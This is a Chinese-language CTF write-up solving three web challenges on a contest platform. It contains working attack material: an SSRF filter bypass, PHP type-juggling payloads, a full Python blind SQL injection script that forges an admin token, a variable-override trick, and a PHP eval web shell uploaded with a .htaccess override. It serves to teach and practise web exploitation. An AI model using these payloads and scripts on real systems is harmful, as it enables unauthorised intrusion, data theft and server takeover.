穿梭隐藏的密钥
在一次惊心动魄的太空任务中,你发现了一个隐藏在偏远太空站内部的高度机密的加密密钥。这个密钥可能拥有解锁重要情报的能力,但是要获取它并不是一件简单的事情。
这个密钥被放置在一台极其严密防护的计算机系统中。这台计算机不仅与外界网络完全隔离,而且还设置了多重安全机制,包括身份验证,层层难关等。你作为一名出色的太空探险家,要想成功获取密钥,你必须设法绕过这些安全防护,利用你的专业知识和创造力,想办法通过一些巧妙的方式访问这台计算机,并成功获取隐藏的密钥。准备好你的大脑,开始你的穿梭之旅吧!
打开环境,当鼠标移到click to me,Baby时,他会跳动,F12不能用。。。还有CTRL+U查看一下源代码
发现了有用的代码
// 监听整个文档的keydown事件
document.addEventListener('keydown', function(event) {
// 检查是否按下了F12键
if (event.key === 'F12') {
// 阻止F12键的默认行为(通常是打开开发者工具)
event.preventDefault();
}
});
// 获取id为text的元素
var text = document.getElementById('text');
// 创建一个新的img元素作为自定义背景
var customBackground = document.createElement('img');
// 设置新创建的img元素的id为custom-background
customBackground.setAttribute('id', 'custom-background');
// 设置img元素的src属性,指向图片路径
customBackground.src = './image/2.png';
// 将img元素添加到文档的body中
document.body.appendChild(customBackground);
// 为text元素添加点击事件监听器
text.addEventListener('click', function() {
// 当text元素被点击时,导航到c3s4f.php页面
window.location.href = 'c3s4f.php';
});
// 为text元素添加鼠标悬停事件监听器
text.addEventListener('mouseover', function() {
// 当鼠标悬停在text元素上时,调用moveText函数
moveText();
});
// 定义moveText函数,用于移动text元素到随机位置
function moveText() {
// 获取窗口的宽度和高度
var windowWidth = window.innerWidth;
var windowHeight = window.innerHeight;
// 计算text元素新的随机X轴位置,使其不超出窗口边界
var newPositionX = Math.random() * (windowWidth - text.offsetWidth);
// 计算text元素新的随机Y轴位置,使其不超出窗口边界
var newPositionY = Math.random() * (windowHeight - text.offsetHeight);
// 设置text元素的新位置
text.style.left = newPositionX + 'px';
text.style.top = newPositionY + 'px';
}
发现了重要的信息
var text = document.getElementById('text');
var customBackground = document.createElement('img');
customBackground.setAttribute('id', 'custom-background');
customBackground.src = './image/2.png';
document.body.appendChild(customBackground);
text.addEventListener('click', function() {
window.location.href = 'c3s4f.php';
});
- 点击事件:为
id
为text
的元素添加点击事件监听器,当元素被点击时,浏览器将导航到c3s4f.php
页面。- 悬停事件:为该元素添加鼠标悬停事件监听器,当鼠标悬停在元素上时,调用
moveText()
函数。
我们直接访问c3s4f.php,进入这个界面
继续找信息,在源代码里看到信息:
<!-- 多fuzzfuzz总能fuzz出点啥 -->
这儿需要我们FUZZ出参数,使用工具Arjun(url参数扫描工具)查找
FUZZ参数名工具-Arjun_arjun工具-CSDN博客
arjun -u http://challenge.qsnctf.com:30268/c3s4f.php
得到了参数shell,使用dirsearch扫一扫后台
大佬们说扫出来了secret.php,。。。。嗯
先进行传参?shell=123
发现应该是SSRF,直接构造
?shell=http://127.0.0.1/secret.php
发现没有用,应该是过滤了127.0.0.1,换种方法
?shell=http://localtest.me/secret.php
我们得到了需要用到的KEY:MSIBLG ,并且得到下一关的地址cha11eng3.php
访问后得到源码,代码审计
<?php
// 显示当前文件的源代码
show_source(__FILE__);
// 包含k4y.php文件
include('k4y.php');
// 包含一次flag.php文件
include_once('flag.php');
// Challenge 1
if (isset($_GET['DrKn'])) { // 检查是否通过GET请求传递了参数DrKn
$text = $_GET['DrKn']; // 获取参数DrKn的值
if(@file_get_contents($text) == $key) { // 检查从$text路径获取的文件内容是否与$key相同
echo "有点东西呢"."</br>".$key1."</br>"; // 输出提示信息和$key1
} else {
die("貌似状态不在线啊(╯_╰)</br>"); // 否则输出错误信息并终止脚本执行
}
}
// Challenge 2
if (isset($_GET[$key1])) { // 检查是否通过GET请求传递了$key1的参数
$damei = $_GET[$key1]; // 获取参数$key1的值
if (hash("md4", $damei) == $damei) { // 检查$damei的MD4哈希值是否与$damei相同
echo "又近了一步呢,宝~"."</br>".$key2."</br>".$key3; // 输出提示信息和$key2、$key3
} else {
die("达咩哟~"); // 否则输出错误信息并终止脚本执行
}
}
// Challenge 3
if (isset($_POST[$key2]) && isset($_POST[$key3])) { // 检查是否通过POST请求传递了$key2和$key3的参数
$user = $_POST[$key2]; // 获取参数$key2的值
$pass = $_POST[$key3]; // 获取参数$key3的值
if (strlen($user) > 4 || strlen($pass) > 5) { // 检查$user的长度是否大于4或$pass的长度是否大于5
die("还得练"); // 如果是,输出错误信息并终止脚本执行
}
if ($user !== $pass && md5($user) === md5($pass)) { // 检查$user不等于$pass且它们的MD5哈希值相同
echo "还不错哦"."$flag"; // 输出成功信息和$flag
} else {
die("nonono"); // 否则输出错误信息并终止脚本执行
}
}
?>
三个挑战
- Challenge 1:
- 检查GET请求中是否包含参数
DrKn
。- 获取参数
DrKn
的值并检查其文件内容是否等于$key
。- 如果匹配,输出提示信息和
$key1
;否则,输出错误信息并终止脚本执行。- Challenge 2:
- 检查GET请求中是否包含参数
$key1
。- 获取参数
$key1
的值并检查其MD4哈希值是否等于自身。- 如果匹配,输出提示信息和
$key2
、$key3
;否则,输出错误信息并终止脚本执行。- Challenge 3:
- 检查POST请求中是否包含参数
$key2
和$key3
。- 获取参数
$key2
和$key3
的值。- 检查用户和密码的长度是否符合要求。
- 检查用户和密码是否不同且其MD5哈希值相同。
- 如果符合,输出成功信息和
$flag
;否则,输出错误信息并终止脚本执行。
第一层:
我们需要讲上一关得到的KEY传给DrKn,还要绕过file_get_contents()函数,可以使用php://input协议或者php://data协议
?DrKn=data://text/plain,MSIBLG
得到了下一层的参数:M_ore.8
第二层:
MD4弱比较绕过,可以通过科学计算法比较绕过。找一个值是一个科学计算法0e开头的,其md4加密后也为0e开头,弱类型比较绕过。
a | md4(a) |
---|---|
0e251288019 | 0e874956163641961271069404332409 |
0e001233333333333334557778889 | 0e434041524824285414215559233446 |
M[ore.8=0e001233333333333334557778889
在url中不能识别_,所以用[代替
得到下一层需要用到的两个参数wtf、mC
第三层:
MD5强比较绕过,直接使用数组绕过得到flag
wtf[]=1&mC[]=2
EzLogin
Infernity师傅写了一个没啥大用的网站,他的朋友都说他有点大病,你们觉得他写的这个网站是不是有啥大病?
打开环境,是一个登录页面
输入admin/123456,回显账号密码错误,不断测试,发现在用户名出存在sql二次注入,并且发现过滤了 union 、if 、 > 、 < 、concat、(空格)等,那我们可以使用可以布尔盲注。
直接用脚本跑
脚本:
import requests
import base64
import json
# 目标URL
url = "http://challenge.qsnctf.com:31255/"
# 字符集,用于构造SQL注入的payload
str1 = '0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ{}@#$\()*+,-./:;<=>?[\\]^`|~_&!%'
# 创建会话
s = requests.Session()
# 注册用户
def register(username):
data = {"username": username, "password": "123"}
r = s.post(url + 'register.php', data)
# print(r.text)
# 登录用户并获取TOKEN
def login(username):
data = {"username": username, "password": "123"}
res = requests.post(url + 'login.php', data, allow_redirects=False)
cookie = res.headers['Set-Cookie'].split('=')[1]
return cookie
# 访问home.php页面,获取包含搜索结果的内容
def home(token):
cookies = {"TOKEN": token}
r = s.get(url + 'home.php', cookies=cookies)
res = r.text.split('<div class="seached-text">')[1].split('</div>')[0]
res = res.replace('<br>', '\n')
# print(res)
return res
# 修改TOKEN,使其具有管理员权限
def token_fix(token):
token = bytes.fromhex(token)
token = base64.b64decode(token)
token = json.loads(token)
# print(token)
token['is_admin'] = 1
token = json.dumps(token)
token = base64.b64encode(token.encode())
token = token.hex()
return token
# 进行注册、登录、修改TOKEN并访问主页,获取结果
def request(username):
register(username)
token = login(username)
token = token_fix(token)
res = home(token)
return res
# 获取数据库名称的长度
def database_length():
for i in range(10):
username = "admin'and length(database()) = {}#".format(i)
username = username.replace(' ', '/**/')
res = request(username)
if 'No user found' not in res:
print('database_length: ', i)
return i
return 0
# 获取数据库名称
def database_name(length):
name = ''
for idx in range(1, length + 1):
for char in str1:
payload = "admin'and substr(database(),{},1) = '{}'#".format(idx, char)
payload = payload.replace(' ', '/**/')
res = request(payload)
if 'No user found' not in res:
name += char
print(name)
break
# 获取表名称的长度
def table_length():
cnt = {}
for i in range(20):
flag = 1
for j in range(20):
flag = 0
payload = "admin'and length((select table_name from information_schema.tables where table_schema='dkctf' limit {},1))={}#".format(
i, j)
payload = payload.replace(' ', '/**/')
res = request(payload)
# print(res)
if 'No user found' not in res:
print('table_length: ', i, j)
cnt[i] = j
flag = 1
break
if flag == 0:
return cnt
return cnt
# 获取表名称
def table_name(cnt):
tables = {}
for i in range(len(cnt)):
table = ''
for j in range(1, cnt[i] + 1):
for char in str1:
payload = "admin'and substr((select table_name from information_schema.tables where table_schema='dkctf' limit {},1),{},1)='{}'#".format(
i, j, char)
payload = payload.replace(' ', '/**/')
res = request(payload)
# print(res)
if 'No user found' not in res:
table += char
print(i, table)
break
tables[i] = table
return tables
# 获取列名称的长度
def column_length():
cnt = {}
for i in range(10):
flag = 1
for j in range(20):
flag = 0
payload = "admin'and length((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {},1))={}#".format(
i, j)
payload = payload.replace(' ', '/**/')
res = request(payload)
print(res)
if 'No user found' not in res:
print('column_length: ', i, j)
cnt[i] = j
flag = 1
break
if flag == 0:
return cnt
return cnt
# 获取列名称
def column_name(cnt):
columns = {}
for i in range(len(cnt)):
column = ''
for j in range(1, cnt[i] + 1):
for char in str1:
payload = "admin'and substr((select column_name from information_schema.columns where table_schema='dkctf' and table_name='secret' limit {},1),{},1)='{}'#".format(
i, j, char)
payload = payload.replace(' ', '/**/')
res = request(payload)
# print(res)
if 'No user found' not in res:
column += char
print(i, column)
break
columns[i] = column
return columns
# 获取表数据
def data():
flag = ''
for i in range(1, 100):
for char in str1:
payload = "admin'and ord(substr((select sseeccrreett from secret),{},1))={}#".format(i, ord(char))
payload = payload.replace(' ', '/**/')
res = request(payload)
# print(res)
if 'No user found' not in res:
flag += char
print(i, flag)
break
if __name__ == '__main__':
data()
ezsign
p2zhh写了个网页,你可以帮他测试一下吗
打开环境,是一个登录界面
admin/12346看一看,进入了一个留言板界面
输入ls
回显ls,使用dirsearch扫一扫
dirsearch -u http://challenge.qsnctf.com:31355
发现index.php.bak,访问
<?php
error_reporting(0); // 禁用错误报告
// 检查 cookie 中是否有 token
$token = $_COOKIE['token'] ?? null;
if ($token) {
extract($_GET); // 将 GET 参数导入到当前符号表
$token = base64_decode($token); // 解码 token
$token = json_decode($token, true); // 将 JSON 解码为数组
$username = $token['username'];
$password = $token['password'];
$isLocal = false;
// 检查请求是否来自本地
if ($_SERVER['REMOTE_ADDR'] == "127.0.0.1") {
$isLocal = true;
}
if ($isLocal) {
echo 'Welcome Back,' . $username . '!';
// 如果 upload 目录下存在 $username.png 文件,则显示图片
if (file_exists('upload/' . $username . '/' . $token['filename'])) {
// 显示图片,并缩小图片
echo '<br>';
echo '<img src="upload/' . $username . '/' . $token['filename'] .'" width="200">';
} else {
echo '请上传您高贵的头像。';
// 显示上传头像的表单
$html = <<<EOD
<form method="post" action="upload.php" enctype="multipart/form-data">
<input type="file" name="file" id="file">
<input type="submit" value="Upload">
</form>
EOD;
echo $html;
}
} else {
// 显示留言板
$html = <<<EOD
<h1>留言板</h1>
<label for="input-text">Enter some text:</label>
<input type="text" id="input-text" placeholder="Type here...">
<button onclick="displayInput()">Display</button>
EOD;
echo $html;
}
} else {
// 如果没有 token,则显示登录表单
$html = <<<EOD
<!DOCTYPE html>
<html>
<head>
<title>Login</title>
</head>
<body>
<h2>Login</h2>
<form method="post" action="./login.php">
<div>
<label for="username">Username:</label>
<input type="text" name="username" id="username" required>
</div>
<div>
<label for="password">Password:</label>
<input type="password" name="password" id="password" required>
</div>
<div>
<input type="submit" value="Login">
</div>
</form>
</body>
</html>
EOD;
echo $html;
}
?>
<script>
// JavaScript 函数,用于显示用户输入的内容
function displayInput() {
var inputText = document.getElementById("input-text").value;
document.write(inputText);
}
</script>
- 检查是否有token:从cookie中获取token,如果存在则继续执行,否则显示登录表单。
- 解码token:将token从base64解码,并将JSON字符串解码为数组。
- 检查请求来源:判断请求是否来自本地(IP地址为127.0.0.1),如果是本地请求,则显示欢迎信息和头像上传功能,否则显示留言板。
- 显示头像:如果用户上传了头像并且头像文件存在,则显示头像;否则显示上传头像的表单。
- 显示登录表单:如果没有token,则显示登录表单供用户登录。
- JavaScript函数:在留言板页面上提供一个JavaScript函数,用于显示用户输入的文本内容。
大概就是extract($_GET);存在变量覆盖,我们可以利用可以利用这个把$_SERVER['REMOTE_ADDR']覆盖成127.0.0.1,构造url
/?_SERVER[REMOTE_ADDR]=127.0.0.1
来到了文件上传的界面 ,我们上传一句话木马shell.php
GIF89a
<?php eval($_POST[shell]);?>
显示上传成功,但是没有上传路径,并且一句话木马的php
文件但是发现不能正常解析,源码直接回显了,想了一下应该是配置文件里面进行了相关设置,那我们自己上传.htaccess
文件改配置就可以了
php_flag engine on # 打开php解析
AddType application/x-httpd-php .php # 将该目录及子目录的所有文件均映射为php文件类型
之后再上传一句话木马文件,使用蚁剑连接,得到flag